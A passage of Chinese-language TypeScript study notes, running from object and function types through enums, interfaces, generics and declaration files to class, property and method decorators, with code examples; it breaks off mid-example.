由于限制的范围实在**太大了**！！！所以实际开发使用**频率极低**

```ts
let b:Object //b的值必须是Object的实例对象（除去undefined和null的任何值）

// 以下代码，均无警告，因为给a赋的值，都是Object的实例对象
b = {}
b = {name:'张三'}
b = [1,3,5,7,9]
b = function(){}
b = new String('123')
class Person {}
b = new Person()
b = 1       // 1不是Object的实例对象，但其包装对象是Object的实例
b = true    // truue不是Object的实例对象，但其包装对象是Object的实例
b = '你好'  // “你好”不是Object的实例对象，但其包装对象是Object的实例

// 以下代码均有警告
b = null      // 警告：不能将类型“null”分配给类型“Object”
b = undefined // 警告：不能将类型“undefined”分配给类型“Object”
```

#### 声明对象类型

实际开发中，限制一般对象，通常有以下集中形式：

```ts
// 限制person1对象必须有name属性，age为可选属性
let person1: { name: string, age?: number }

// 含义同上，也能用分号做分隔
let person2: { name: string; age?: number }

// 含义同上，也能用换行做分隔
let person3: {
  name: string
  age?: number
}

// 如下赋值均可以
person1 = {name:'李四',age:18}
person2 = {name:'张三'}
person3 = {name:'王五'}

// 如下赋值不合法，因为person3的类型限制中，没有对gender属性的说明
person3 = {name:'王五',gender:'男'}
```

#### 索引签名：

允许定义对象可以具有**任意数量的属性**，这些属性的**键**和**类型**是可变的，常用于：

描述类型不确定的属性，（具有动态属性的对象）

```ts
let person: {
  name: string
  age?: number
  [key: string]: any // 索引签名，完全可以不用key这个单词，换成其他的也可以
}

// 赋值合法
person = {
  name:'张三',
  age:18,
  gender:'男' 
}
```

#### 声明函数类型

```ts
let count: (a: number, b: number) => number

count = function (x, y) {
  return x + y 
}
```

备注：

* typescript中的`=>`在函数类型声明时表示**函数类型**，描述其参数类型和**返回类型**
* JavaScript中的`=>`是一种定义函数的语法，是具体的函数的实现，箭头函数
* 函数类型声明还可以使用：**接口，自定义类型**等方式。

#### 声明数组类型

```ts
let arr1: string[] 
let arr2: Array<string>

arr1 = ['a','b','c']
arr2 = ['hello','world']
```

\*\*备注：\*\*上述代码中的`Array<string>`属于泛型

注意：小写变量类型只针对**string,number,boolean**，Array及其他还是大写

### tuple

元组（tuple）是一种特殊的**数组类型，**可以存储**固定数量**的元素，并且每个元素的**类型是已知**的且**可以不同**，元组用于精确描述一组值的类型，`?`表示可选元素

```ts
// 第一个元素必须是 string 类型，第二个元素必须是 number 类型。
let arr1: [string,number]
// 第一个元素必须是 number 类型，第二个元素是可选的，如果存在，必须是 boolean 类型。
let arr2: [number,boolean?]
// 第一个元素必须是 number 类型，后面的元素可以是任意数量的 string 类型
let arr3: [number,...string[]]
// 可以赋值
arr1 = ['hello',123]
arr2 = [100,false]
arr2 = [200]
arr3 = [100,'hello','world']
arr3 = [100]

// 不可以赋值，arr1声明时是两个元素，赋值的是三个
arr1 = ['hello',123,false]
```

### enum

枚举（enum）可以定义**一组命名常量**，它能增强代码的**可读性**，也让代码**更好维护**

如下代码的功能是：根据调用`walk`时传入的不同参数，执行不同的逻辑，存在的问题是调用`walk`时传参时**没有任何提示**，编码者很容易写错字符串内容；并且用于判断逻辑的`up`、`down`、`left`、`right`是**连续且相关的一组值**，那此时就特别适合使用 枚举enum

```ts
function walk(str:string) {
  if (str === 'up') {
    console.log("向【上】走");
  } else if (str === 'down') {
    console.log("向【下】走");
  } else if (str === 'left') {
    console.log("向【左】走");
  } else if (str === 'right') {
    console.log("向【右】走");
  } else {
    console.log("未知方向");
  }
}

walk('up')
walk('down')
walk('left')
walk('right')
```

![image-20250123085730088](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109212_0.png)

#### 数字枚举 {#ReverseMapping}

数字枚举一种最常见的枚举类型，其成员的值会**自动递增**，且数字枚举还具备**反向映射**的特点，在下面代码的打印中，不难发现：可以通过**值**来获取对应的枚举**成员名称** 。

```ts
// 定义一个描述【上下左右】方向的枚举Direction
enum Direction {
  Up,
  Down,
  Left,
  Right
}

console.log(Direction) // 打印Direction会看到如下内容
/* 
  {
    0:'Up', 
    1:'Down', 
    2:'Left', 
    3:'Right', 
    Up:0, 
    Down:1, 
    Left:2,
    Right:3
  } 
*/

// 反向映射
console.log(Direction.Up)
console.log(Direction[0])

// 此行代码报错，枚举中的属性是只读的
Direction.Up = 'shang'
```

也可以指定枚举成员的**初始值**，其后的成员值会自动递增。

```ts
enum Direction {
  Up = 6,
  Down,
  Left,
  Right
}

console.log(Direction.Up); // 输出: 6
console.log(Direction.Down); // 输出: 7
```

使用数字枚举完成刚才`walk`函数中的逻辑，此时我们发现： 代码更加直观易读，而且类型安全，同时也更易于维护。

```ts
enum Direction {
  Up,
  Down,
  Left,
  Right,
}

function walk(n: Direction) { // 表示str只可以写枚举里面规定的值，不能越出
  if (n === Direction.Up) {
    console.log("向【上】走");
  } else if (n === Direction.Down) {
    console.log("向【下】走");
  } else if (n === Direction.Left) {
    console.log("向【左】走");
  } else if (n === Direction.Right) {
    console.log("向【右】走");
  } else {
    console.log("未知方向");
  }
}

walk(Direction.Up)
walk(Direction.Down)
```

#### 字符串枚举

枚举成员的值是字符串 , **将丢失反向映射**

```ts
enum Direction {
  Up = "up",
  Down = "down",
  Left = "left",
  Right = "right"
}

let dir: Direction = Direction.Up;
console.log(dir); // 输出: "up"
```

#### 常量枚举

**官方描述**：常量枚举是一种特殊枚举类型，它使用`const`关键字定义，在编译时会被**内联**，**避免**生成一些**额外**的代码

> 何为编译时内联?
>
> 所谓“内联”其实就是 TypeScript 在编译时，会将枚举**成员引用**替换为它们的**实际值**，而不是生成额外的枚举对象。这可以减少生成的 JavaScript 代码量，并提高运行时性能。

使用普通枚举的 TypeScript 代码如下：

```ts
enum Directions {
  Up,
  Down,
  Left,
  Right
}

let x = Directions.Up;
```

编译后生成的 JavaScript 代码量较大 ：

```js
"use strict";
var Directions;
(function (Directions) {
    Directions[Directions["Up"] = 0] = "Up";
    Directions[Directions["Down"] = 1] = "Down";
    Directions[Directions["Left"] = 2] = "Left";
    Directions[Directions["Right"] = 3] = "Right";
})(Directions || (Directions = {}));

let x = Directions.Up;
```

使用常量枚举的 TypeScript 代码如下：

```ts
const enum Directions {
  Up,
  Down,
  Left,
  Right
}

let x = Directions.Up;
```

编译后生成的 JavaScript  代码量较小：

```ts
"use strict";
let x = 0 /* Directions.Up */;
```

### type

`type`可以为任意类型创建别名，让代码更简洁、可读性更强，同时能更方便地进行类型复用和扩展。

#### 基本用法

类型别名使用type关键字定义，type后跟元素类型的别名

```ts
type num = number;
let price: num
price = 100
```

#### 联合类型

其意为：**或者**

联合类型是一种高级类型，它表示一个值可以是几种不同类型之一。

```ts
type Status = number | string
type Gender = '男' | '女'

function printStatus(status: Status) {
  console.log(status);
}

function logGender(str:Gender){
  console.log(str)
}

printStatus(404);
printStatus('200');
printStatus('501');

logGender('男')
logGender('女')

```

#### 交叉类型

其意为：**并且**

交叉类型（intersection types）允许将多个类型合并为一个类型，合并后的类型将拥有所有被合并类型的成员，交叉类型通常用于对象类型

```ts
//面积
type Area = {
  height: number; //高
  width: number; //宽
};

//地址
type Address = {
  num: number; //楼号
  cell: number; //单元号
  room: string; //房间号
};

// 定义类型House，且House是Area和Address组成的交叉类型
type House = Area & Address;

const house: House = {
  height: 180,
  width: 75,
  num: 6,
  cell: 3,
  room: '702'
};
```

### 特殊情况

在函数定义时，限制函数返回值为void，那么函数的返回值就必须是空。

```ts
function demo():void{
  // 返回undefined合法
  return undefined
  // 以下返回均不合法
  return 100
  return false
  return null
  return []
}
demo()
```

使用类型声明限制函数返回值为void时，TypeScript并不会严格要求函数返回空。

```ts
type LogFunc = () => void
const f1: LogFunc = () => {
  return 100; // 允许返回非空值
};

const f2: LogFunc = () => 200; // 允许返回非空值

const f3: LogFunc = function () {
  return 300; // 允许返回非空值
};
```

> 为什么会这样？
>
> 是为了确保如下代码成立，我们知道 Array.prototype.push 的返回值是一个数字，而Array.prototype.forEach方法期望其回调的返回类型是void。
>
> ```ts
> const src = [1, 2, 3];
> const dst = [0];
> src.forEach((el) =dst.push(el));
> ```
>
> 官方文档的说明：[Assignability  of Functions](https://www.typescriptlang.org/docs/handbook/2/functions.html#assignability-of-functions)

### 类相关知识

回顾相关知识

```ts
class Person {
  // 属性声明
  name: string //声明person类应该具有以下属性
  age: number
  // 构造器
  constructor(name: string, age: number) {  // 构造器
    this.name = name  // 往实例上添加属性
    this.age = age
  }
  // 方法
  speak() {
    console.log(`我叫：${this.name}，今年${this.age}岁`)
  }
}

// Person实例
const p1 = new Person('周杰伦', 38)
class Student extends Person {
  grade: string
  // 构造器
  constructor(name: string, age: number, grade: string) {
    super(name, age)  // 调用父类构造器 将name和age传过去
    this.grade = grade  //放到实例身上
  }
  // 备注本例中若Student类不需要额外的属性，Student的构造器可以省略
  // 重写从父类继承的方法
  override speak() {  //防止 复写名字 写错
    console.log(`我是学生，我叫：${this.name}，今年${this.age}岁，在读${this.grade}年级`,)
  }
  // 子类自己的方法
  study() {
    console.log(`${this.name}正在努力学习中......`)
  }
}
```

**注意点**：

* 重写父类方法时加上**override修饰符**，如果重写方法时名字写错会有提示
* super关键字在添加（修改）继承属性的时候调用，\*\*(\*\*重写构造方法)

#### 属性修饰符

| 修饰符    | 含义     | 具体规则                             |
| --------- | -------- | ------------------------------------ |
| public    | 公开的   | 可以被：**类内部，子类，类外部**访问 |
| protected | 受保护的 | 可以被：**类内部，子类**访问         |
| private   | 私有的   | 可以被：**类内部**访问               |
| readonly  | 只读属性 | 属性无法修改                         |

##### public

```ts

class Person {
  // name写了public修饰符，age没写修饰符，最终都是public修饰符
  public name: string // 实际开发 要么都加 要么都不加
  age: number
  constructor(name: string, age: number) {
    this.name = name
    this.age = age
  }
  speak() {
    // 类的【内部】可以访问public修饰的name和age
    console.log(`我叫：${this.name}，今年${this.age}岁`)
  }
}

class Student extends Person {
  constructor(name: string, age: number) {
    super(name, age)
  }
  study() {
    // 【子类中】可以访问父类中public修饰的：name属性、age属性
    console.log(`${this.age}岁的${this.name}正在努力学习`)
  }
}

const p1 = new Person('张三', 18)
// 类的【外部】可以访问public修饰的属性
console.log(p1.name)
//属性的简写形式

// 完整写法
class Person {
  public name: string;
  public age: number;

  constructor(name: string, age: number) {
      this.name = name;
      this.age = age;
  }
}
//------------------------------------------------------------------------

// 简写形式
class Person {
  constructor(
    public name: string,
    public age: number
  ) { }
}
```

##### protected

```ts

class Person {
  // name和age是受保护属性，不能在类外部访问，但可以在【类】与【子类】中访问
  constructor(
    protected name: string,
    protected age: number
  ) {}
  // getDetails是受保护方法，不能在类外部访问，但可以在【类】与【子类】中访问
  protected getDetails(): string {
    // 类中能访问受保护的name和age属性
    return `我叫：${this.name}，年龄是：${this.age}`
  }
  // introduce是公开方法，类、子类、类外部都能使用
  introduce() {
    // 类中能访问受保护的getDetails方法
    console.log(this.getDetails());
  }
}

const p1 = new Person('杨超越',18)
// 可以在类外部访问introduce
p1.introduce()

// 以下代码均报错
// p1.getDetails()
// p1.name
// p1.age
//--------------------------------------------------------------
class Student extends Person {
  constructor(name:string,age:number){
    super(name,age)
  }
  study(){
    // 子类中可以访问introduce
    this.introduce()
    // 子类中可以访问name
    console.log(`${this.name}正在努力学习`)
  }
}

const s1 = new Student('tom',17)
s1.introduce()
```

##### private

```ts
class Person {
  constructor(
    public name: string,
    public age: number,
    // IDCard属性为私有的(private)属性，只能在【类内部】使用
    private IDCard: string
  ) { }
  private getPrivateInfo(){
    // 类内部可以访问私有的(private)属性 —— IDCard
    return `身份证号码为：${this.IDCard}`
  }
  getInfo() {
    // 类内部可以访问受保护的(protected)属性 —— name和age
    return `我叫: ${this.name}, 今年刚满${this.age}岁`;
  }
  getFullInfo(){
    // 类内部可以访问公开的getInfo方法，也可以访问私有的getPrivateInfo方法
    return this.getInfo() + '，' + this.getPrivateInfo()
  }
}

const p1 = new Person('张三',18,'110114198702034432')
console.log(p1.getFullInfo())
console.log(p1.getInfo())

// 以下代码均报错
// p1.name
// p1.age
// p1.IDCard
// p1.getPrivateInfo()
```

##### readonly

```ts

class Car {
  constructor(
    public readonly vin: string, //车辆识别码，为只读属性
    public readonly year: number,//出厂年份，为只读属性
    public color: string,
    public sound: string
  ) { }

  // 打印车辆信息
  displayInfo() {
    console.log(`
      识别码：${this.vin},
      出厂年份：${this.year},
      颜色：${this.color},
      音响：${this.sound}
    `);
  }
}

const car = new Car('1HGCM82633A123456', 2018, '黑色', 'Bose音响');
car.displayInfo()

// 以下代码均错误：不能修改 readonly 属性
// car.vin = '897WYE87HA8SGDD8SDGHF'; 
// car.year = 2020; 
```

### 抽象类

* **概述**：抽象类是一种**无法被实例化**的类，专门用来定义类的**结构和行为**，类中可以写**抽象方法**，也可以写**具体实现**。抽象类主要用来为其派生类提供一个**基础结构**，要求其派生类**必须实现**其中的抽象方法。
* **简记**：抽象类**不能实例化**，其意义是**可以被继承**，抽象类里可以有**普通方法**、也可以有**抽象方法**。

> 通过以下场景，理解抽象类：
>
> 我们定义一个抽象类`Package`，表示所有包裹的基本结构，任何包裹都有重量属性`weight`，包裹都需要计算运费。但不同类型的包裹（如：标准速度、特快专递）都有不同的运费计算方式，因此用于计算运费的`calculate`方法是一个抽象方法，必须由具体的子类来实现。

```ts
abstract class Package {
  constructor(public weight: number) { }
  // 抽象方法：用来计算运费，不同类型包裹有不同的计算方式
  abstract calculate(): number
  // 通用方法：打印包裹详情
  printPackage() {
    console.log(`包裹重量为: ${this.weight}kg，运费为: ${this.calculate()}元`);
  }
}
```

`StandardPackage`类继承了`Package`，实现了`calculate`方法：

```ts
// 标准包裹
class StandardPackage extends Package {
  constructor(
    weight: number,
    public unitPrice: number // 每公斤的固定费率
  ) { super(weight) }

  // 实现抽象方法：计算运费
  calculate(): number {
    return this.weight * this.unitPrice;
  }
}

// 创建标准包裹实例
const s1 = new StandardPackage(10,5)
s1.printPackage()
```

**总结：何时使用**抽象类？

1. **定义**通用接口：为一组相关的类定义**通用的行为**（方法或属性）时。
2. **提供**基础实现：在抽象类中提供某些方法或为其提供基础实现，这样派生类就可以继承这些实现。
3. **确保**关键实现 \*\*：\*\*强制派生类实现一些关键行为。
4. **共享**代码和逻辑：当多个类需要共享部分代码时，抽象类可以避免代码重复。

### interface

`interface`是一种**定义结构**的方式，主要作用是为：类、对象、函数等规定**一种契约**，这样可以确保代码的一致性和类型安全，但要注意`interface`**只能**定义**格式**，**不能**包含**任何实现** ！

#### **定义**类**结构**

```ts
// PersonInterface接口，用与限制Person类的格式
interface PersonInterface {
  name: string
  age: number
  speak(n: number): void
}

// 定义一个类 Person，实现 PersonInterface 接口
class Person implements PersonInterface {
  constructor(
    public name: string,
    public age: number
  ) { }
  // 实现接口中的 speak 方法
  speak(n: number): void {
    for (let i = 0; i < n; i++) {
      // 打印出包含名字和年龄的问候语句
      console.log(`你好，我叫${this.name}，我的年龄是${this.age}`);
    }
  }
}

// 创建一个 Person 类的实例 p1，传入名字 'tom' 和年龄 18
const p1 = new Person('tom', 18);
p1.speak(3)
```

#### **定义**对象**结构**

```ts
interface UserInterface {
  name: string
  readonly gender: string // 只读属性
  age?: number // 可选属性
  run: (n: number) => void
}

const user: UserInterface = {
  name: "张三",
  gender: '男',
  age: 18,
  run(n) {
    console.log(`奔跑了${n}米`)
  }
};

```

#### **定义**函数**结构**

```ts
interface CountInterface {
  (a: number, b: number): number;
}

const count: CountInterface = (x, y) => {
  return x + y
}
```

#### **接口之间的继承**

一个`interface`继承另一个`interface`，从而实现代码的复用

```ts
interface PersonInterface {
  name: string // 姓名
  age: number  // 年龄
}

interface StudentInterface extends PersonInterface {
  grade: string // 年级
}

const stu: StudentInterface = {
  name: "张三",
  age: 25,
  grade: '高三',
}
```

#### **接口自动合并**

**可重复定义**

```ts
// PersonInterface接口
interface PersonInterface {
  // 属性声明
  name: string
  age: number
}

// 给PersonInterface接口添加新属性
interface PersonInterface {
  // 方法声明
  speak(): void
}

// Person类实现PersonInterface
class Person implements PersonInterface {
  name: string
  age: number
  // 构造器
  constructor(name: string, age: number) {
    this.name = name
    this.age = age
  }
  // 方法
  speak() {
    console.log('你好！我是老师:', this.name)
  }
}
```

**总结：何时使用接口？**

1. **定义对象的格式：** 描述数据模型、API 响应格式、配置对象........等等，是开发中用的最多的场景。
2. \*\*类的契约：\*\*规定一个类需要实现哪些属性和方法。
3. \*\*扩展已有接口：\*\*一般用于扩展第三方库的类型， 这种特性在大型项目中可能会用到。

### 相似概念的区别

#### interface 与 type 的区别

* **相同点：**`interface`和`type` 都可以用于定义**对象结构**，在定义对象结构时两者可以互换。
* **不同点：**

1️⃣`interface`：更专注于定义**对象**和**类**的结构，支持**继承**、**合并**。

2️⃣`type`：可以定义**类型别名、联合类型**、**交叉类型**，但不支持继承和自动合并。

**interface 和 type 都可以定义对象结构**

```ts
// 使用 interface 定义 Person 对象
interface PersonInterface {
  name: string;
  age: number;
  speak(): void;
}

// 使用 type 定义 Person 对象
type PersonType = {
  name: string;
  age: number;
  speak(): void;
};

// 使用PersonInterface
/* let person: PersonInterface = {
  name:'张三',
  age:18,
  speak(){
    console.log(`我叫：${this.name}，年龄：${this.age}`)
  }
} */

// 使用PersonType
let person: PersonType = {
  name:'张三',
  age:18,
  speak(){
    console.log(`我叫：${this.name}，年龄：${this.age}`)
  }
}
```

**interface 可以继承、合并**

```ts
interface PersonInterface {
  name: string // 姓名
  age: number  // 年龄
}

interface PersonInterface {
  speak: () => void
}

interface StudentInterface extends PersonInterface {
  grade: string // 年级
}

const student: StudentInterface = {
  name: '李四',
  age: 18,
  grade: '高二',
  speak() {
    console.log(this.name,this.age,this.grade)
  }
}
```

**type 的交叉类型**

```ts
// 使用 type 定义 Person 类型，并通过交叉类型实现属性的合并
type PersonType = {
  name: string; // 姓名
  age: number;  // 年龄
} & {
  speak: () => void;
};

// 使用 type 定义 Student 类型，并通过交叉类型继承 PersonType
type StudentType = PersonType & {
  grade: string; // 年级
};

const student: StudentType = {
  name: '李四',
  age: 18,
  grade: '高二',
  speak() {
    console.log(this.name, this.age, this.grade);
  }
};
```

#### interface 与 抽象类的区别

* **相同点：**都能定义一个**类的格式**（定义类应遵循的契约）
* **不相同：**

1️⃣接口：**只能**描述**结构**，**不能**有任何**实现代码**，一个类可以实现**多个**接口。

2️⃣抽象类：既可以包含**抽象方法**，也可以包含**具体方法**， 一个类只能继承**一个**抽象类。

**一个类可以实现多个接口**

```ts
// FlyInterface 接口
interface FlyInterface {
  fly(): void;
}

// 定义 SwimInterface 接口
interface SwimInterface {
  swim(): void;
}

// Duck 类实现了 FlyInterface 和 SwimInterface 两个接口
class Duck implements FlyInterface, SwimInterface {
  fly(): void {
    console.log('鸭子可以飞');
  }

  swim(): void {
    console.log('鸭子可以游泳');
  }
}

// 创建一个 Duck 实例
const duck = new Duck();
duck.fly();  // 输出: 鸭子可以飞
duck.swim(); // 输出: 鸭子可以游泳
```

## 泛型

泛型允许我们在定义函数、类或接口时，使用类型参数来表示**未指定的类型**，这些参数在具体**使用时**，才被指定**具体的类型**，泛型能让同一段代码适用于多种类型，同时仍然保持类型的安全性。

举例：如下代码中`<T>`就是泛型，（不一定非叫`T`），设置泛型后即可在函数中使用`T`来表示该类型：

**泛型函数**

```ts
function logData<T>(data: T): T {
  console.log(data)
  return data
}

logData<number>(100)
logData<string>('hello')
```

**泛型可以有多个**

```ts
function logData<T, U>(data1: T, data2: U): T | U {
  console.log(data1,data2)
  return Date.now() % 2 ? data1 : data2
}

logData<number, string>(100, 'hello')
logData<string, boolean>('ok', false)
```

**泛型接口**

```ts
interface PersonInterface<T> {
  name: string,
  age: number,
  extraInfo: T
}

let p1: PersonInterface<string>
let p2: PersonInterface<number>

p1 = { name: '张三', age: 18, extraInfo: '一个好人' }
p2 = { name: '李四', age: 18, extraInfo: 250 }
```

**泛型约束**

```ts
interface LengthInterface {
  length: number
}

// 约束规则是：传入的类型T必须具有 length 属性
function logPerson<T extends LengthInterface>(data: T): void {
  console.log(data.length)
}

logPerson<string>('hello')
// 报错：因为number不具备length属性
// logPerson<number>(100)
```

**泛型类**

```ts
class Person<T> {
  constructor(
    public name: string,
    public age: number,
    public extraInfo: T
  ) { }
  speak() {
    console.log(`我叫${this.name}今年${this.age}岁了`)
    console.log(this.extraInfo)
  }
}

// 测试代码1
const p1 = new Person<number>("tom", 30, 250);

// 测试代码2
type JobInfo = {
  title: string;
  company: string;
}
const p2 = new Person<JobInfo>("tom", 30, { title: '研发总监', company: '发发发科技公司' });
```

## 类型声明文件

类型声明文件是 TypeScript 中的一种特殊文件，通常以`.d.ts` 作为扩展名。它的主要作用是为现有的 **JavaScript 代码**提供**类型信息**，使得 TypeScript 能够在使用这些 JavaScript 库或模块时进行**类型检查和提示**。

### **demo.js**

```ts
export function add(a, b) {
  return a + b;
}

export function mul(a, b) {
  return a * b;
}

```

### demo.d.ts

```ts
declare function add(a: number, b: number): number;
declare function mul(a: number, b: number): number;

export { add, mul };
```

### index.ts

```ts
// example.ts
import { add, mul } from "./demo.js";

const x = add(2, 3); // x 类型为 number
const y = mul(4, 5); // y 类型为 number

console.log(x,y)
```

# 装饰器{#decorators}

**初始化一个TS配置文件**：

```
tsc --init
```

**打开装饰器支持**

```
"experimentalDecorators": true,
```

## 类装饰器

### 基本语法

装饰器就是一个应用在**类声明**上的**函数**，可以为类添加额外的功能，或者添加额外的逻辑

```ts
/* 
  Demo函数会在Person类定义时执行
  参数说明：
    ○ target参数是被装饰的类，即：Person
*/
function Demo(target: Function) {
  console.log(target)
}

// 使用装饰器
@demo
class Person {
  constructor(public name: string, public age: number) {
    this.name = name,
      this.age = age
  }
}
```

### 应用举例

需求：定义一个装饰器，实现`Person`实例调用`toString`时返回`JSON.stringify`的执行结果。

```ts
// 使用装饰器重写toString方法 + 封闭其原型对象
function CustomString(target: Function) {
  // 向被装饰类的原型上添加自定义的 toString 方法
  target.prototype.toString = function () {
    return JSON.stringify(this)
  }
  // 封闭其原型对象，禁止随意操作其原型对象
  Object.seal(target.prototype)
}

// 使用 CustomString 装饰器
@CustomString
class Person {
  constructor(public name: string, public age: number) { }
  speak() {
    console.log('你好呀！')
  }
}

/* 测试代码如下 */
let p1 = new Person('张三', 18)
// 输出：{"name":"张三","age":18}
console.log(p1.toString())
// 禁止随意操作其原型对象
interface Person {
  a: any
}
// Person.prototype.a = 100 // 此行会报错：Cannot add property a, object is not extensible
// console.log(p1.a)
```

`// @ts-ignore` TS忽略检查

### 关于返回值

**类装饰器**有返回值\*\*：若类装饰器返回一个新的类，那这个新类将\*\*替换掉被装饰的类。

**类装饰器**无返回值：若类装饰器无返回值或返回`undefined`，那被装饰的类**不会**被替换。

```ts
function demo(target:Function){
  // 装饰器有返回值时，该返回值会替换掉被装饰的类
  return class {
    test(){
      console.log(200)
      console.log(300)
      console.log(400)
    }
  }
}

@demo
class Person {
  test(){
    console.log(100)
  }
}

console.log(Person)
```

### 关于构造类型

在 TypeScript 中，`Function` 类型所表示的范围十分广泛，包括：普通函数、箭头函数、方法等等。但并非`Function` 类型的函数都可以被 `new` 关键字实例化，例如箭头函数是不能被实例化的，那么 TypeScript 中概如何声明一个构造类型呢？有以下两种方式：

#### 仅声明构造类型

```TS
/*
  ○ new     表示：该类型是可以用new操作符调用。
  ○ ...args 表示：构造器可以接受【任意数量】的参数。
  ○ any[]   表示：构造器可以接受【任意类型】的参数。
  ○ {}      表示：返回类型是对象(非null、非undefined的对象)。
*/

// 定义Constructor类型，其含义是构造类型
type Constructor = new (...args: any[]) => {};

function test(fn:Constructor){}
class Person {}
test(Person)
```

#### 声明构造类型 + 指定静态属性

```TS
// 定义一个构造类型，且包含一个静态属性 wife
type Constructor = {
  new(...args: any[]): {}; // 构造签名
  wife: string; // wife属性
};

function test(fn:Constructor){}
class Person {
  static wife = 'asd'
}
test(Person)
```

### 替换被装饰的类

对于高级一些的装饰器，不仅仅是覆盖一个原型上的方法，还要有更多功能，例如添加新的方法和状态。

> 需求：设计一个`LogTime`装饰器，可以给实例添加一个属性，用于记录实例对象的创建时间，再添加一个方法用于读取创建时间。

```ts
// User接口
interface User {  // 接口合并性
  getTime(): Date
  log(): void
}

// 自定义类型Class
type Constructor = new (...args: any[]) => {}

// 创建一个装饰器，为类添加日志功能和创建时间
function LogTime<T extends Constructor>(target: T) {  // 泛型约束 类型T必须具备Constructor格式
  return class extends target {
    createdTime: Date;
    constructor(...args: any[]) {
      super(...args);
      this.createdTime = new Date(); // 记录对象创建时间
    }
    getTime() {
      return `该对象创建时间为：${this.createdTime}`;
    }
  };
}

@LogTime
class User {
  constructor(
    public name: string,
    public age: number
  ) { }
  speak() {
    console.log(`${this.name}说：你好啊！`)
  }
}

const user1 = new User('张三', 13);
user1.speak()
console.log(user1.getTime())
```

## 装饰器工厂

装饰器工厂是一个返回装饰器函数的函数，可以为装饰器添加参数，可以更灵活地控制装饰器的行为。

> 需求\*\*：\*\*定义一个`LogInfo`类装饰器工厂，实现`Person`实例可以调用到`introduce`方法，且`introduce`中输出内容的次数，由`LogInfo`接收的参数决定。

```ts
interface Person {
  introduce: () => void
}

// 定义一个装饰器工厂 LogInfo，它接受一个参数 n，返回一个类装饰器
function LogInfo(n:number) {
  // 装饰器函数，target 是被装饰的类
  return function(target: Function){
    target.prototype.introduce = function () {
      for (let i = 0; i < n; i++) {
        console.log(`我的名字：${this.name}，我的年龄：${this.age}`)
      }
    }
  }
}

@LogInfo(5)
class Person {
  constructor(
    public name: string,
    public age: number
  ) { }
  speak() {
    console.log('你好呀！')
  }
}

let p1 = new Person('张三', 18)
// console.log(p1) // 打印的p1是：_classThis，转换的JS版本比较旧时，会出现，不必纠结
p1.speak()
p1.introduce()
```

## 装饰器组合

装饰器可以组合使用，执行顺序为：先【由上到下】的执行所有的装饰器工厂，依次获取到装饰器，然后再【由下到上】执行所有的装饰器。

### 执行顺序

```ts
//装饰器
function test1(target:Function) {
  console.log('test1')
}
//装饰器工厂
function test2() {
  console.log('test2工厂')
  return function (target:Function) { 
    console.log('test2')
  }
}
//装饰器工厂
function test3() {
  console.log('test3工厂')
  return function (target:Function) { 
    console.log('test3')
  }
}
//装饰器
function test4(target:Function) {
  console.log('test4')
}

@test1
@test2()
@test3()
@test4
class Person { }

/*
  控制台打印：
    test2工厂
    test3工厂
    test4
    test3
    test2
    test1
*/
```

### 应用

```ts
// 自定义类型Class
type Constructor = new (...args: any[]) => {}

interface Person {
  introduce():void
  getTime():void
}

// 使用装饰器重写toString方法 + 封闭其原型对象
function customToString(target: Function) {
  // 向被装饰类的原型上添加自定义的 toString 方法
  target.prototype.toString = function () {
    return JSON.stringify(this)
  }
  // 封闭其原型对象，禁止随意操作其原型对象
  Object.seal(target.prototype)
}

// 创建一个装饰器，为类添加日志功能和创建时间
function LogTime<T extends Constructor>(target: T) {
  return class extends target {
    createdTime: Date;
    constructor(...args: any[]) {
      super(...args);
      this.createdTime = new Date(); // 记录对象创建时间
    }
    getTime() {
      return `该对象创建时间为：${this.createdTime}`;
    }
  };
}

// 定义一个装饰器工厂 LogInfo，它接受一个参数 n，返回一个类装饰器
function LogInfo(n:number) {
  // 装饰器函数，target 是被装饰的类
  return function(target: Function){
    target.prototype.introduce = function () {
      for (let i = 0; i < n; i++) {
        console.log(`我的名字：${this.name}，我的年龄：${this.age}`)
      }
    }
  }
}

@customToString
@LogInfo(3)
@LogTime
class Person {
  constructor(
    public name: string,
    public age: number
  ) { }
  speak() {
    console.log('你好呀！')
  }
}

const p1 = new Person('张三',18)
console.log(p1.toString())
p1.introduce()
console.log(p1.getTime())
```

## 属性装饰器

### 基本语法

```ts
/* 
  参数说明：
    ○ target: 对于静态属性来说值是类，对于实例属性来说值是类的原型对象。
    ○ propertyKey: 属性名。
*/
function Demo(target: object, propertyKey: string) {
  console.log(target,propertyKey)
}

class Person {
  @Demo name: string
  @Demo age: number
  @Demo static school:string

  constructor(name: string, age: number) {
    this.name = name
    this.age = age
  }
}

const p1 = new Person('张三', 18)
```

### 关于属性遮蔽

> 如下代码中：当构造器中的`this.age = age`试图在实例上赋值时，实际上是调用了原型上`age`属性的`set`方法。

```ts
class Person {
  name: string
  age: number
  constructor(name: string, age: number) {
    this.name = name
    this.age = age
  }
}

let value = 99
// 使用defineProperty给Person原型添加age属性，并配置对应的get与set
Object.defineProperty(Person.prototype, 'age', {
  get() {
    return value
  },
  set(val) {
    value = val
  }
})

const p1 = new Person('张三', 18)
console.log(p1.age) //18
console.log(Person.prototype.age)//18

```

### 应用举例

> 需求：定义一个`State`属性装饰器，来监视属性的修改。

```ts
// 声明一个装饰器函数 State，用于捕获数据的修改
function State(target: object, propertyKey: string) {
  // 存储属性的内部值
  let key = `__${propertyKey}`;

  // 使用 Object.defineProperty 替换类的原始属性
  // 重新定义属性，使其使用自定义的 getter 和 setter
  Object.defineProperty(target, propertyKey, {
    get () {
      return this[key]
    },
    set(newVal: string){
      console.log(`${propertyKey}的最新值为：${newVal}`);
      this[key] = newVal
    },
    enumerable: true, 
    configurable: true,
  });
}

class Person {
  name: string;
  //使用State装饰器
  @State age: number;
  school = 'atguigu';
  constructor(name: string, age: number) {
    this.name = name;
    this.age = age;
  }
}

const p1 = new Person('张三', 18);
const p2 = new Person('李四', 30);

p1.age = 80
p2.age = 90

console.log('------------------')
console.log(p1.age) //80
console.log(p2.age) //90
```

## 方法装饰器

### 基本语法

```ts
/* 
  参数说明：
    ○ target: 对于静态方法来说值是类，对于实例方法来说值是原型对象。
    ○ propertyKey:方法的名称。
    ○ descriptor: 方法的描述对象，其中value属性是被装饰的方法。
*/
function Demo(target: object, propertyKey: string, descriptor: PropertyDescriptor){
  console.log(target)
  console.log(propertyKey)
  console.log(descriptor)
}

class Person {
  constructor(
    public name:string,
    public age:number,
  ){}
  // Demo装饰实例方法
  @Demo speak(){
    console.log(`你好，我的名字：${this.name}，我的年龄：${this.age}`)
  }
